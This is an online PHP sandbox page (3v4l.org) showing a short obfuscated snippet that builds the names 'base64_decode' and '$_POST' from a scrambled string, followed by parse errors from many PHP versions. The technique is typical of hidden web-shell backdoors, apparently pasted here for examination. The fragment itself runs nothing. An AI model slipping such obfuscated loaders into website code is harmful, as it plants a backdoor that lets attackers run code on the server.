3v4l.org

run code in 300+ PHP versions simultaneously
<?php <?php $sF = "PCT4BA6ODSE_"; $s21 = strtolower($sF[4] . $sF[5] . $sF[9] . $sF[10] . $sF[6] . $sF[3] . $sF[11] . $sF[8] . $sF[10] . $sF[1] . $sF[7] . $sF[8] . $sF[10]); $s22 = $ { strtoupper($sF[11] . $sF[0] . $sF[7] . $sF[9] . $sF[2]) } echo $s22;
Output for 4.4.2 - 4.4.9, 5.1.0 - 5.1.6, 5.2.0 - 5.2.17, 5.3.0 - 5.3.29, 5.4.0 - 5.4.32
Parse error: syntax error, unexpected '<' in /in/jv2k0 on line 2
Process exited with code 255.
Output for 4.3.0 - 4.3.1, 4.3.5 - 4.3.11, 4.4.0 - 4.4.1, 5.0.0 - 5.0.5
Parse error: parse error, unexpected '<' in /in/jv2k0 on line 2
Process exited with code 255.
Output for 4.3.2 - 4.3.4
Parse error: parse error in /in/jv2k0 on line 2
Process exited with code 255.
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212.02 ms | 1395 KiB | 123 Q